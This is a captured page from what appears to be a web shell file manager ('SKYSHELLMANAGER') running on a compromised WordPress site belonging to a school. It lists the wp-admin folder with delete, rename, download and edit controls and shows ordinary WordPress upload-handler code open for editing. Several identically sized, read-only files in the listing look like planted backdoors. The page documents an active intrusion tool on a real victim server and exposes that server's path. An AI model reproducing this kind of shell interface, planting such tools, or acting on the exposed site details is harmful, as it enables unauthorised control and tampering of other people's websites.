ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.24

Path:root/var/www/www-root/data/www/bluebellsschoolinternational.com/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	20.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-post.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 contribute.php	5.59 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-comments.php	14.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-advanced.php	28.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-comment.php	8.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tag-form.php	10.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tags.php	22 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 import.php	7.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 link-parse-opml.php	2.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-new.php	3.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu.php	16.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 moderation.php	0.3 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-delete-site.php	4.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-options.php	0.22 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-upgrade-network.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-users.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 my-sites.php	4.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-discussion.php	15.4 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-head.php	0.61 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-media.php	6.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-permalink.php	21.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-privacy.php	9.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-reading.php	10.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-writing.php	9.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin-install.php	6.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugins.php	30 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post.php	9.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-editor.php	11.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health-info.php	3.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health.php	10.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 term.php	2.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 theme-editor.php	15.59 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.php	48.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tools.php	3.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upgrade.php	6.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upload.php	14.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: class-file-upload-upgrader.php

<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class File_Upload_Upgrader {

/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

if ( 'pluginzip' === $form || 'themezip' === $form ) {
				if ( ! wp_zip_file_is_valid( $file['file'] ) ) {
					wp_delete_file( $file['file'] );

if ( 'pluginzip' === $form ) {
						$plugins_page = sprintf(
							'<a href="%s">%s</a>',
							self_admin_url( 'plugin-install.php' ),
							__( 'Return to the Plugin Installer' )
						);
						wp_die( __( 'Incompatible Archive.' ) . '<br />' . $plugins_page );
					}

if ( 'themezip' === $form ) {
						$themes_page = sprintf(
							'<a href="%s" target="_parent">%s</a>',
							self_admin_url( 'theme-install.php' ),
							__( 'Return to the Theme Installer' )
						);
						wp_die( __( 'Incompatible Archive.' ) . '<br />' . $themes_page );
					}
				}
			}

$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

// Construct the attachment array.
			$attachment = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

// Save the data.
			$this->id = wp_insert_attachment( $attachment, $file['file'] );

// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

/**
	 * Deletes the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

return true;
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.24

Edit: class-file-upload-upgrader.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.24